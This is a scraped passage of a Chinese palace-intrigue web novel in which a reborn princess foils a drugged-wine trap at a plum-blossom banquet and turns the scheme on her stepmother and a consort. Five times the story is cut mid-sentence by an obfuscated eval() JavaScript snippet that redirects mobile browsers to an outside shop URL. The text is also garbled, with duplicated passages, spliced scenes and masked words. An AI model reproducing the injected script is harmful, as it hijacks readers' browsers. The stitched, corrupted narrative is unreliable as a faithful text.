她顿了顿,深吸一口气,抬起头,飞快地看了晏清澜一眼,又迅速垂下眼帘,眼眶泛红。 “这杯酒,是妙菱的一点心意,还望郡主不要嫌弃……” 说着,她将酒杯举高了一些,声音里带着一丝难以抑制的颤抖: “郡主若能饮下此酒,妙菱……妙菱感激不尽。” 她的声音越来越低,说到最后,几乎微不可闻。 她这副卑微到尘埃里的模样,实在是让人不忍。 席间,有几位夫人小姐见状,都忍不住动了恻隐之心。 其中一位夫人更是直接开口劝道: “郡主,既然庄三姑娘都这般低声下气地来赔罪了,您就大人不记小人过,原谅她这一回吧。” “是啊,我看这庄三姑娘也不像是那种心胸狭隘之人,想来是真的知错了。” “唉,这庶出的女儿,本就过得艰难,何苦为难她呢?” 晏清澜依旧不动声色,只是唇角微微勾起,露出一抹意味深长的笑容。 她早就料到会有这么一出。 前世,晏清萦也是这般,在赏梅宴上,当着众人的面,给她敬了一杯酒。 不同的是,前世的原主,在众人的劝说下,心一软,便喝下了那杯酒。 而她,可不是那个天真单纯的原主。 晏清澜缓缓抬眸,看向站在她面前,低眉顺眼,看似恭顺无比的晏清萦。 她知道,这杯酒里,一定加了“料”。 只是,不知道这一次,庄家人又给她准备了什么样的“惊喜”呢? 晏清澜在心中冷笑一声。 她倒要看看,庄家人还能玩出什么花样来! 上一世,原主被下了药,差点失身于一个陌生的男子。 若不是傅清霁和宋明澜及时赶到,后果不堪设想。 这一世,她绝不会再重蹈覆辙! 晏清澜的目光在那酒杯上一扫而过,而后,在晏清萦期待的目光中,缓缓伸出手,接过了酒杯。 晏清萦眼底闪过一丝喜色,稍纵即逝,依旧低眉顺眼地站在一旁,不敢有丝毫的逾矩。 晏清澜将酒杯凑到鼻尖,轻轻嗅了嗅,随即,眉梢微微一挑。 上一世,庄家人给原主下的是**,无色无味,不易察觉。 可这一世,这杯酒里,除了**,还掺杂了另一种东西—— 一种能让人意乱情迷,失去理智的媚药。 而且,这媚药的药性,极烈! 上一世,他们费尽心思,想把原主和童玄珏凑成一对,以此来巩固庄家在澜王府的地位。 可这一世,她和童玄珏的婚事已成定局,圣旨都下来了。 那么,他们精心策划了这一出戏,又打算给她安排一个什么样的“如意郎君”呢? 还真是让人……拭目以待啊!“小时候的事,我都记不清了。”晏清澜接过晏清萦递来的空酒杯,指尖在杯沿上轻轻摩挲了一下,语气平淡。 她抬眼,看向晏清萦,眼神锐利, “倒是你,以后可得把眼睛擦亮些,别再走错了路。” 晏清萦握着酒杯的手猛地一颤,像是被毒蛇盯上一般,脸色刷白。 “郡主姐姐……教训的是,”她连忙稳住心神,低眉顺眼,声音细若蚊蝇,“妙菱记下了,再不敢了。” 她哪还敢走错? 晏清萦的嘴唇微微哆嗦着,心如擂鼓。一步错,步步错,她的人生已经容不得半点差池,稍有不慎,便是万丈深渊。 晏清澜没再多言,只是定定地看了她一眼,那眼神,仿佛能洞穿人心底最深处的秘密。 晏清萦觉得后背一阵凉意,冷汗涔涔而下,单薄的里衣都湿透了。 回到座位,她脸色惨白如纸,手心不住地冒汗,身体也微微颤抖起来,像是受了极大的惊吓。 “哟,这是怎么了?跟郡主姐姐讨教几句,就吓成这样?” 身旁,晏玥玥冷不丁地开口,语气中满是嘲讽。她斜睨了晏清萦一眼,眼神中尽是厌恶和鄙夷, “有些人呐,就是没骨气,上赶着去巴结人,也不看看自己是什么货色!” 晏清萦像是没听见似的,头垂得更低了,一副怯懦模样,一个字也不敢说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671389|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛一尊沉默的雕塑。 晏玥玥见她这副瑟缩的样子,内心充满鄙夷,甚至有些恼怒。她重重地哼了一声, “真不知道你这副样子是装给谁看的,整天就知道摇尾乞怜!没出息的东西!” 在她眼里,晏清萦就是个扶不上墙的烂泥,只会给庄家丢人现眼。 “三姐姐,你可长点心吧!别以为谁都会真心待你,小心被人卖了还帮人数钱呢!”晏玥玥继续挖苦。 晏清萦仍是那副逆来顺受的样子,任她冷嘲热讽,也不还嘴,只是一味地缩着肩膀,脸色煞白,仿佛晏玥玥是什么洪水猛兽,避之唯恐不及。 “哼,真是个废物!” 晏玥玥见她这副样子,自觉无趣,便也懒得再多费唇舌,只是偶尔会用眼角的余光扫她一眼,眼神中充满了不屑和厌恶。 晏清萦的目光,却失神地落在钱雅芝身旁空着的座位上。那是原本属于晏芸清的位置。 今日赏梅宴,晏芸清称病未来。 晏清萦想起昨夜晏芸清落水后,那惨白如纸、毫无血色的脸,以及今日清晨她高烧不退、昏迷不醒的模样,心中便一阵阵发寒。 她去看过晏芸清,她眼底的青黑,像是地狱里爬出来的恶鬼留下的痕迹,让人不寒而栗。 想到这,晏清萦手心里又渗出冷汗,黏腻腻的,让她一阵心慌,仿佛有什么不好的事情即将发生。 另一边,晏清澜端坐在席间,唇角微微勾起一抹若有似无的弧度,像是胸有成竹,又像是……在等待着一场好戏的上演。 宋明澜瞧见她这抹笑,心里莫名发毛。这是一种直觉,一种对危险的敏锐感知,一种……山雨欲来风满楼的预感。 旁人或许不明白晏清澜这个笑容的含义,可他们这些熟识她的人,却再清楚不过。 每当她露出这种似笑非笑、意味深长的表情,就意味着,某人要凉凉了。这是她惯用的伎俩,先是迷惑对手,让其放松警惕,然后在关键时刻,给予致命一击。 这次,不知又是哪个倒霉蛋,要撞到她的枪口上,成为她手中的玩物。 宋明澜暗自猜测,多半是刚才那个莫名其妙给晏清澜敬酒的晏清萦。那种小把戏,在晏清澜面前,根本不够看,简直是自取其辱,不自量力。 第三百五十三章 晏清澜不动声色地吃着眼前的菜肴,全然不在意暗处那双阴毒的眼睛。她甚至还悠闲地品了一口茶,仿佛一切尽在掌握,胜券在握。 突然,一个清脆的声音打破了这诡异的平静。 “哎呀!” 一个小宫女端着茶盘,急匆匆地走过来,却“不小心”撞到了晏清澜的身上,茶水瞬间泼洒而出,弄湿了她的衣裙。 “奴婢该死!奴婢该死!” 小宫女“扑通”一声跪倒在地,身体抖如筛糠,连连磕头,声音中充满了恐惧和惊慌, “郡主饶命!郡主饶命啊!” 她浑身发抖,额头重重地磕在地上,发出沉闷的声响,一边磕头一边求饶,仿佛犯下了什么滔天大罪,生怕晏清澜会要了她的命似的。 “你这丫头,怎么****躁躁的!” 宋溪溪眼疾手快,连忙拿帕子替晏清澜擦拭身上的茶水,她一边擦一边皱眉看向那宫女,语气中带着一丝责备和疑惑, “这么大个人了,走路也不知道小心些!” 她倒不是真的生气,只是觉得这宫女有些冒失,做事不够稳重。 宋溪溪的反应让在场的夫人千金们交换了一个眼神,心照不宣。 能在宫中当差的,哪个不是人精?岂会如此不小心? 这宫女,怕是被人当枪使了。 “行了行了,都别愣着了,还不快扶郡主去更衣!” 一位年长的夫人开口,打破了这微妙的僵局。 她这话,既是给晏清澜解围,也是给在场的人提个醒。 毕竟,这是宫里,有些事,还是不要掺和的好。 那宫女听到这话,如蒙大赦,连忙从地上爬起来,低着头,声音颤抖: “郡主,奴婢……奴婢带您去更衣。” 钱雅芝的脸色有些难看。原本,她是想借着这个机会,让晏清澜出丑,最好是能让她在众人面前失态,留下一个心狠手辣、不能容人的印象。 可没想到,晏清澜竟然如此轻描淡写地就化解了这场危机,甚至连一句责备的话都没有。 这让她有些措手不及,也让她心中的怒火更甚。 “母亲,您别生气,这小**得意不了多久了!”晏玥玥凑到钱雅芝耳边,低声说道。 她眼中闪烁着阴毒的光芒,像是一条毒蛇,在伺机而动。 钱雅芝微微点头,深吸一口气,努力平复着心中的怒火。 她知道,现在还不是时候,她必须忍耐,等待最佳的时机。 晏清澜深深地看了钱雅芝一眼,唇角勾起一抹嘲讽的笑。 她知道,钱雅芝不会善罢甘休,她一定还在谋划着什么。 不过,她并不害怕。 兵来将挡,水来土掩,她倒要看看,钱雅芝还能耍出什么花招! 晏清澜微微颔首,在那宫女的带领下,向着更衣的偏殿走去。她神色自若,脚步轻盈,仿佛一切尽在掌握。 两人逐渐走到一处偏僻的宫墙外,四周静悄悄的,一个人影也没有,只听见风吹树叶的沙沙声。 小宫女停下脚步,恭敬地福身: “郡主,更衣的偏殿就在前面,您沿着这条路一直走就到了。奴婢身份低微,不敢进去,还请郡主恕罪。” 她低着头,不敢看晏清澜的眼睛,声音也有些发颤,像是在害怕什么。“郡主,更衣的偏殿就在前面,您沿着这条路一直走就到了。奴婢身份低微,不敢进去,还请郡主恕罪。” 小宫女低垂着头,声音微微发颤,指尖不自觉地绞着衣角,余光却在偷偷打量晏清澜的反应。 晏清澜将这一切看在眼里,唇角勾起一抹几不可察的笑。这宫女的演技,着实算不上高明。想来是见她平日里低调,便以为她不通宫中弯弯绕绕,想拿她当傻子糊弄? “知道了,你先退下吧。” 晏清澜摆了摆手,语气淡淡的,听不出喜怒。 她顿了顿,又状似不经意地问道: “那里面……备有可供更换的衣裳是吗?” “是,郡主放心,这间更衣室是给宴会上意外沾染衣物的贵妇闺秀准备的。”小宫女连忙应声,头埋得更低了,仿佛这样就能掩饰住所有的心虚和算计。 晏清澜轻轻“嗯”了一声,不再多言,抬脚便往偏殿的方向走去。 小宫女站在原地,眼瞧着晏清澜一步步走远,直到那抹身影即将消失在视线里,这才如释重负般地松了口气,悄悄转身离开。 然而,她并没有注意到,拐角处,一道身影正缓缓显现。 晏清澜望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676419|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小宫女离去的方向,唇边的笑意染上了一丝冷冽。 这宫女也太沉不住气了。既已打定主意与人同流合污,怎能不亲眼看着她走进偏殿,再把门从外锁死才安心离开?如此行事,未免太过草率。 晏清澜暗自摇头,看来钱雅芝身边,尽是些不堪大用之人。 她正欲迈步向前,想看看钱雅芝这次又给她准备了什么“惊喜”。 突然,一只手从身后伸出,猛地将她拽到了一边,力道之大,险些让她惊呼出声。 “你疯了!明知道有问题还往前走!” 声音压得很低,带着一丝颤抖和焦急,还有毫不掩饰的担忧。 晏清澜稳住身形,侧头望去,看清来人后,眼中闪过一丝诧异。 竟是苏府的三姑娘,晏清萦。 她今日穿着一身浅粉色的衣裙,衬得她本就白皙的肌肤更加娇嫩。只是此时,她脸色苍白,额头上布满了细密的汗珠,紧紧抓着晏清澜的胳膊,手心一片冰凉。 “你……怎么会过来?”晏清澜的语气中带着一丝探究。 晏清萦紧咬着下唇,指甲深深地掐进了掌心,似乎只有这样,才能让她保持清醒。 “别……别往前走了,”她急切地想要阻止晏清澜,声音都有些哽咽了,“你喝的那杯酒……有问题,你不知道吗?就算你武功再好,也……” 晏清萦努力想要表达清楚,却被晏清澜打断: “我知道,我没喝。” 晏清萦愣在原地,一时竟不知该如何反应。 她怔怔地望着晏清澜,张了张嘴,却半晌说不出话来。是啊,晏清澜是何等人物,这种拙劣的小伎俩,又怎能轻易算计得了她? 晏清萦忽然觉得自己这一趟来得有些多余,但随即,又自嘲地笑了笑。她不敢赌,哪怕只有一丝的可能,她也不敢赌输。 晏清澜将晏清萦的神色变化尽收眼底,她轻轻挣脱了晏清萦的手,目光在她身上来回扫视。 “那你还来做什么?”她问,语气中带着一丝玩味。 晏清萦深吸了一口气,强迫自己镇定下来,一字一句道:“我来,是要救我自己。” 她抬起头,目光直视着晏清澜,声音虽然仍有些颤抖,却多了几分坚定: “钱雅芝… 第三百五十四章 …她想一石二鸟。” “她要先毁了你,再拿我当替罪羊。”晏清萦的声音低了下去,带着一丝难以掩饰的悲凉和愤怒。 “在她眼里,我就像个玩意儿……可以随意丢弃。我……我逃不掉,那杯酒,我也没本事换掉。” “我只能来找你……我不能……就这么被她毁了,绝对不能!” 晏清萦说到这里,眼中已经盈满了泪水,却倔强地不肯让它掉下来。 她想起昨夜,钱雅芝突然找到她,和颜悦色地递给她一杯酒,让她交给晏清澜。 那时,她就知道,自己的命运,已经被钱雅芝牢牢掌控。 她想过拒绝,可钱雅芝的话,却像一记重锤,狠狠地砸碎了她所有的希望。 “阿萦,你是个懂事的孩子,应该知道,有些事情,由不得你。”钱雅芝的语气温柔,吐出的字字诛心。 “一杯酒而已,你不会有什么损失。事成之后,我会为你寻一门好亲事,让你风风光光地嫁出去。你总要为自己打算,不是吗?” “再说,你和晏清澜一同长大,可她呢,处处压你一头,你就甘心?” 钱雅芝的话,像一条毒蛇,紧紧地缠绕着晏清萦的心,让她窒息。 她知道,钱雅芝这是在威胁她,也是在利用她。 可是,知道又如何?她无力反抗。 晏清萦强迫自己从回忆中抽离,苦笑了一声,抬眸看向晏清澜,声音嘶哑。 “四姐姐,我没想害你……我也没那个胆子。我只是……走投无路了,才递上那杯美酒。你快走吧……别再往前走了。” 她心里清楚,若晏清澜真因为这杯酒出了事,以钱雅芝的手段,定会将所有罪责推到她身上。 到时候,她就会成为一个彻头彻尾的笑话。一个嫉妒嫡姐,心肠歹毒,不择手段的庶女。 这样的罪名,足以让她身败名裂,永世不得翻身。 但她不甘心,她不想就这么认命。 凭什么钱雅芝可以把她当成棋子,随意摆布? 晏清萦的眼中闪过一丝决绝,她又补充道: “而且……桂柔姐姐救过我,我不能……恩将仇报。” 钱雅芝想做什么,她心里跟明镜似的。这种下作的手段,她见得多了。 只是没想到,这妇人竟如此狠毒,连自己的亲生女儿都不放过! 晏清澜看着眼前这个脸色苍白,却努力挺直脊背的女子,心中闪过一丝复杂的情绪。 她倒是没想过,这晏清萦竟还有几分良知。 虽说晏清萦此举也是为了自保,但能在这个时候想到桂柔,也算难得。 “你回去吧,席间缺席这么久,容易惹人怀疑。”晏清澜微微颔首,示意晏清萦离开。 至于她自己…… 晏清澜的眼中闪过一丝冷芒,钱雅芝这份“大礼”,她可得好好想想,该如何回敬。 晏清萦也明白晏清澜定是在盘算着什么,她紧紧地攥着手,转身往回走。可走了几步,她又突然停了下来,回过头看着晏清澜,声音低得几乎听不见。 “四姐姐……装作没遇见我,我……我只是出来更衣……” 晏清澜没说话,只是微微扬了扬眉,算是应允。 待晏清萦的身影彻底消失,晏清澜才轻声道: “出来吧,躲躲藏藏的,像什么样子。” 话音刚落,一道修长的身影便从暗处走出,正是童玄珏。他倚着墙,姿态慵懒,唇边带着一抹若有似无的笑意,让人看不透他在想什么。 而他脚边,还躺着一个昏迷不醒的小宫女,正是之前领晏清澜过来的那个。 童玄珏瞥了一眼那宫女,又将目光移到晏清澜身上,挑眉问道: “说吧,你想怎么收场?” 晏清澜摩挲着下巴,沉吟片刻,缓缓开口: “以其人之道,还治其人之身,未免太过无趣。” 她抬眼望向不远处的偏殿,眼神幽深。 “不如……咱们送她们一份意想不到的‘惊喜’。” 晏清澜顿了顿,又问道: “对了,这偏殿里……关着的,是哪位‘贵客’?” 童玄珏眼神一暗,语气中带着一丝不易察觉的醋意: “杨澜。和你一样,中了招,被人引到这儿来的。怎么,你想进去‘探望探望’?” 晏清澜被他这阴阳怪气的语气逗笑了,没好气地白了他一眼。 “胡思乱想什么呢?”她伸手戳了戳童玄珏的胸口,语气中带着一丝无奈。 “我只是在想……钱雅芝这算盘,打得可真够精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676420|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “一石三鸟,一箭三雕……这说法都不足以形容她的狠辣。” “除了我和杨澜,她这是连晏清萦,也算计进去了。”晏清澜啧啧感叹,“真是……最毒妇人心。”“可惜,你这算盘,怕是打歪了。” 晏清澜的声音,带着三分讥诮,七分玩味,突兀地在暗处响起。 钱雅芝自诩天衣无缝的算计,在她眼里,不过是孩童过家家般的可笑把戏。真当她还是四年前那个,任人搓圆捏扁的傻丫头? 身旁,童玄珏冷冷一眼扫过来,眸光如刀,话里有话: “晏清澜,你眼睛往哪儿瞟呢?孤男寡女共处一室,你最好给我安分点。” 晏清澜:“……” 她无语地翻了个大白眼,抬手,戳了戳童玄珏硬邦邦的胸膛: “我说燕王殿下,您这醋劲儿也太大了吧!圣旨都下来了,咱俩可是一条绳上的蚂蚱,您就不能信任我一点点?” 童玄珏冷哼一声,下巴微抬,一副“我就是不高兴”的模样。 晏清澜无奈,只得放软了语气,轻声哄道: “殿下,您就别胡思乱想了。我保证,眼里心里都只有您一个,成吗?” 她顿了顿,又福身一礼,声音娇俏,带着几分女儿家的娇憨: “殿下明鉴,那些个烂桃花,我保证,连个眼神都不带给的!” 童玄珏这才勉强“嗯”了一声,脸色稍霁,但嘴角还是忍不住微微上扬。 晏清澜暗自好笑,总算把这位大爷给哄好了,她指了指地上昏迷的宫女,话锋一转: “殿下可查清这宫女的底细了?” 童玄珏收敛了笑意,眸色转冷: “这宫女是钱雅芝的人,她武母在苏府的厨房做事,一家老小的性命都捏在钱雅芝手里。” “哦?”晏清澜挑眉,“原来如此。看来贤妃那边也动手了。” 她微微眯起眼,眸中闪过一丝狡黠的光芒。 上一世,贤妃可没这么早对她下手,看来这一世,因为她的缘故,有些事情确实发生了变化。 晏清澜摸了摸下巴,心中已有了计较,说出来的话却带着几分漫不经心: “贤妃娘娘因为韩承煜的事儿迁怒于我,派人来给我使绊子,这理由,倒也说得过去。 第三百五十五章 ” 童玄珏一听,立刻就明白了她的意思,眉头微挑: “你想借刀**?” 晏清澜但笑不语,只是轻轻拽了拽童玄珏的衣袖,示意他附耳过来。 两人低声耳语了几句,童玄珏的眼神越来越亮,看向晏清澜的目光中,也多了几分赞赏。 另一边,赏梅宴上,众人等了许久,仍不见晏清澜回来,不由得议论纷纷。 “这长乐郡主怎么去了这么久?该不会出什么事了吧?” “是啊,连那个小宫女也没回来……” 这些贵人们关心的,自然只有晏清澜,至于那个小宫女,根本没人在意。 钱雅芝心中暗喜,面上却装出一副担忧的样子: “哎呀,阿清该不会是迷路了吧?这孩子哪儿都好,路痴本痴……” 傅清霁冷眼旁观,心中冷笑。 钱雅芝这演技,真是越来越差了。 她和宋明澜交换了一个眼神,彼此心照不宣。 她们都清楚晏清澜的本事,知道她绝不会有事。 这丫头,指不定又在憋什么坏呢。 傅清霁暗自思忖,钱雅芝这次,怕是要踢到铁板了。 就在这时,一阵急促的脚步声传来,打破了宴席上的喧嚣。 只见一群身着甲胄的御林军,面色冷峻地闯了进来,将整个宴席团团围住。 这突如其来的变故,让所有人都吓了一跳,一个个噤若寒蝉,大气都不敢出。 傅清霁毕竟是见过大场面的,她强自镇定下来,上前一步,向领头的御林军统领问道: “玉统领,什么情况?” 玉统领认得傅清霁,不敢怠慢,连忙拱手行礼: “顾将军,宫里进了刺客!皇上龙颜大怒,下令封锁整个皇宫,搜捕刺客!” 此言一出,无异于晴天霹雳,瞬间引爆全场。 “什么?刺客?” “天哪,这可如何是好?” 众人惊慌失措,乱作一团。 “皇上可有受伤?”傅清霁追问道,语气中带着几分焦急。 “皇上无碍,那刺客的目标并非皇上。”玉统领沉声答道。 不是皇上?那会是谁? 众人面面相觑,心中惊疑不定。 钱雅芝更是心急如焚。 怎么偏偏在这个时候出事? 她原本还指望着借机陷害晏清澜,现在看来,计划全泡汤了! 钱雅芝心有不甘,硬着头皮上前,对玉统领说道: “玉统领,长乐郡主方才去更衣,一直没有回来,您看……” 她话还没说完,就被玉统领冷冷地打断了: “非常时期,任何人不得擅自行动!待搜捕结束,自会派人寻找长乐郡主!” 钱雅芝被噎得哑口无言,脸色一阵青一阵白。 她心中又急又气,却又无可奈何,只能眼睁睁地看着御林军在宴席上展开搜查。 在场众人也都是一副惊魂未定的样子,一个个缩着脖子站在原地,生怕自己被当成刺客抓起来。“什么?!” 傅清霁与宋溪溪几乎同时惊呼出声,脸色刷地一下全白了。 “你、你再说一遍!”宋溪溪死死攥着帕子,声音都有些不稳,“谁**了?” 宋明澜和厉宗玉对视一眼,还算镇定,抬手示意她们稍安勿躁。 只有他们清楚,晏清澜那丫头身手有多好。 平日里看着大大咧咧,警惕性却比谁都高,等闲人连她的衣角都碰不到。 更别说伤她心脉了…… 除非…… 宋明澜眯了眯眼,这事儿,只怕没那么简单。 玉统领的目光,在脸色煞白的钱雅芝身上一掠而过,眼神晦暗不明。 “**的,是长乐郡主。” 他顿了顿,声音低沉,“太医院的人正在抢救,只是郡主伤了心脉,怕是……” 虽然没把话说死,但在场的人都听明白了。 凶多吉少。 钱雅芝只觉得一股狂喜涌上心头,指尖却忍不住颤抖起来。 晏清澜……那个贱丫头,居然也有今天! 最好是当场毙命!也省得她再费心思动手脚! 她极力压制着上扬的嘴角,却怎么也掩饰不住眼底的幸灾乐祸。 晏玥玥亦是弯了弯唇角。 果然,风头太盛,是要遭报应的。 平日里,晏清澜仗着有燕王撑腰,事事都要压她一头。 如今,也算是自食恶果了! 不过……晏玥玥眼珠子滴溜溜一转,晏清澜受了这么重的伤,以后怕是只能卧床不起了吧? 那她……是不是就再也没办法跟自己抢东西了? 一直沉默不语的晏远舟,眉头却越皱越紧。 不知为何,他心中总有一种不安的感觉,仿佛有什么事情超出了掌控。 他下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679668|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识地看向钱雅芝,却见她虽然极力掩饰,眼底的得意却怎么也藏不住。 晏远舟的心,猛地一沉。 …… 太医院内,气氛凝重得令人窒息。 院使跪在景元帝面前,汗如雨下,几乎要把面前的金砖浸湿。 “皇上,郡主伤及心脉,老臣……老臣虽拼死保住了郡主性命,可若是不好生调理,怕是会落下病根啊!” 他一边说,一边偷偷抬眼去看景元帝的脸色。 见景元帝面沉如水,院使的心更是提到了嗓子眼。 可他也没办法啊! 晏清澜明明连根头发丝都没伤到,可皇上和燕王非要说她伤重垂危,他能怎么办? 他敢说个“不”字吗? 我说的话就是圣旨! 童玄珏面无表情地盯着院使,声音冷得像冰渣子: “豁出去一切也要,务必把郡主调养好。否则……” 他没有再说下去。 可在场的太医们,都忍不住打了个寒颤,后背一阵发凉。 这话还用说完整吗? 治不好长乐郡主,他们整个太医院都得陪葬! 太医……果然是天底下最高危的职业! 院使顶着一头的冷汗,硬着头皮继续往下说: “皇上,要调理好郡主的身体,倒也不是难事,只是……还缺几味药引。” 景元帝和童玄珏对视一眼,彼此都看到了对方眼中的了然。 “说。”景元帝言简意赅。 院使深吸一口气,飞快地说道:“千年人参、天山雪莲自然是不可或缺,此外,最好还能有南海的鲛珠,极北之地的玄冰草……” 他一口气说了七八样,无一不是世间罕有的珍宝。 “这些药引,能寻到自然是最好,若是寻不到……”院使犹豫了一下,还是咬牙说了出来,“怕是会影响郡主的寿数。” 景元帝的眉头,几不可察地皱了一下。 影响寿数? 这可不行。 他看向童玄珏,只见童玄珏微微颔首。 景元帝心中了然,朗声道:“好,朕知道了。这些药引,朕会派人去找。” 至于去哪儿找…… 自然是“碰巧”有这些东西的,贤妃的私库了。 …… 日落西山,残阳如血。 禁卫军把宴会现场围得铁桶一般,气氛压抑得令人喘不过气。 第三百五十六章 迟迟没有刺客的消息,众人心中的疑虑越来越重。 这出“**”的戏码,究竟是真是假? 若是假的,皇家的目的又是什么? 人群中,窃窃私语声越来越大,所有人的目光,都若有若无地投向了贤妃。 毕竟,刚刚太医院院使说的那些珍贵药材,整个皇宫里,怕是只有贤妃的私库里最齐全了。 贤妃的脸色,一阵青一阵白。 她紧紧攥着手中的帕子,指节泛白,几乎要把帕子撕碎。 这群人……这群人是想做什么? 难不成,还想搜她的宫殿不成?! 就在这时,一个尖细的声音打破了沉默。 “皇上口谕——” 一个小太监一路小跑过来,高声喊道: “贤妃娘娘私藏珍稀药材,却对长乐郡主见死不救,有失德行!着即刻交出所有珍稀药材,为郡主治病!另,禁足三月,以儆效尤!” 此言一出,全场哗然。 贤妃更是如遭雷击,整个人都懵了。 她“腾”地一下站起身来,尖声叫道: “什么?!这不可能!皇上不可能这么对我!” 然而,任凭她如何叫喊,也无人理会。 御林军直接上前,不由分说地将她“请”了下去。 …… 夜幕低垂,星光黯淡。 长乐郡主晏清澜,终于“悠悠转醒”。 童玄珏一直紧绷的神经,总算松弛下来。 他快步走到床边,轻轻握住晏清澜的手,语气中带着一丝后怕: “你这睡神终于上线了……你都不知道,我有多担心。” 晏清澜眨了眨眼,没说话。 景元帝轻咳一声,也凑了过来。 演戏归演戏,能不能别这么肉麻? 他这个当舅舅的,还在旁边看着呢! 晏清澜像是才发现景元帝一般,挣扎着就要起身行礼。 “陛下……” “免了。”景元帝抬手,止住了她的动作,“你身子虚弱,不必多礼。” 晏清澜这才像是松了口气一般,虚弱地靠在床头,声音细若蚊蝇: “臣女无能,害得君王和殿下提心吊胆……” 童玄珏将她的手握得更紧了些,轻声问道: “伤你的,究竟是谁?” 晏清澜的眼中,闪过一丝痛苦和恨意。 “是……那个小宫女。”她咬着牙,一字一顿地说道,“就是她,用茶水泼湿我衣裳,又趁我不备,用**刺伤了我!” “我拼尽最后一丝力气,将她打晕在地……咳咳……” 说到激动处,她忍不住剧烈地咳嗽起来。 童玄珏连忙伸手,轻轻拍打着她的后背,帮她顺气。 “别激动,慢慢说。” “我与她素不相识,无冤无仇……她为何要如此对我……” 晏清澜的声音,越来越低,最后几不可闻。 童玄珏转头看向景元帝,沉声道: “舅舅,您都听到了。此事,定要严查!” 景元帝微微颔首,面色沉凝如水: “皇宫之中,竟有人胆敢行刺郡主,绝不能姑息!传朕旨意,彻查此事,务必将幕后主使揪出来!” 他顿了顿,又补充道:“此事,交由燕王全权负责。” 童玄珏和晏清澜对视一眼,彼此都看到了对方眼中的笑意。 …… 消息传到宴席上,众人一片哗然。 “什么?刺杀郡主的,竟然是那个小宫女?” “这……这怎么可能?” “那小宫女看起来柔柔弱弱的,怎么可能有这等本事?” “……” 质疑声,不绝于耳。 钱雅芝的脸色,已经不能用惨白来形容了。 她只觉得一阵阵头晕目眩,几乎要站立不住。 不可能……这绝对不可能…… 晏清澜怎么可能被一个区区宫女所伤? 她分明……分明是想借此机会,陷害自己! 钱雅芝猛地抬头,看向晏清澜所在的寝殿方向,眼中充满了怨毒和恨意。消息如惊雷般炸响,又像风暴般席卷了整个宴席。 “什么?行刺郡主的,竟只是个宫女?” “这……这怎么可能?!” 质疑声此起彼伏,如沸腾的水面,喧嚣不止。 钱雅芝如遭雷击,脸色煞白,身形摇晃,仿佛下一刻就要倒下。她死死掐住掌心,才勉强稳住身形。 这不可能! 晏清澜怎会如此轻易被一个宫女所伤? 除非…… 一个可怕的念头闪过,钱雅芝猛地抬头,目光如炬,死死盯住晏清澜所在的寝殿,试图穿透那扇紧闭的门,看清里面的真相。 是陷阱! 这宫中婢女出自庄府, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679669|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若坐实行刺郡主的罪名,整个庄家都将覆灭! 好狠毒的心思! 钱雅芝身子微微颤抖,勉强压下心头的惊惧,嘶哑着嗓子开口: “这其中……恐怕是有什么误会吧?” 她努力睁大眼睛,试图让自己的声音听起来更镇定, “那宫女瞧着……实在不像是能伤到郡主的人啊……” 谁不是这么想的呢?可谁又敢说? 除了她钱雅芝,谁敢冒天下之大不韪,将这句实话公之于众? 傅清霁眼眶泛红,强忍着泪意,语气中尽是悔恨: 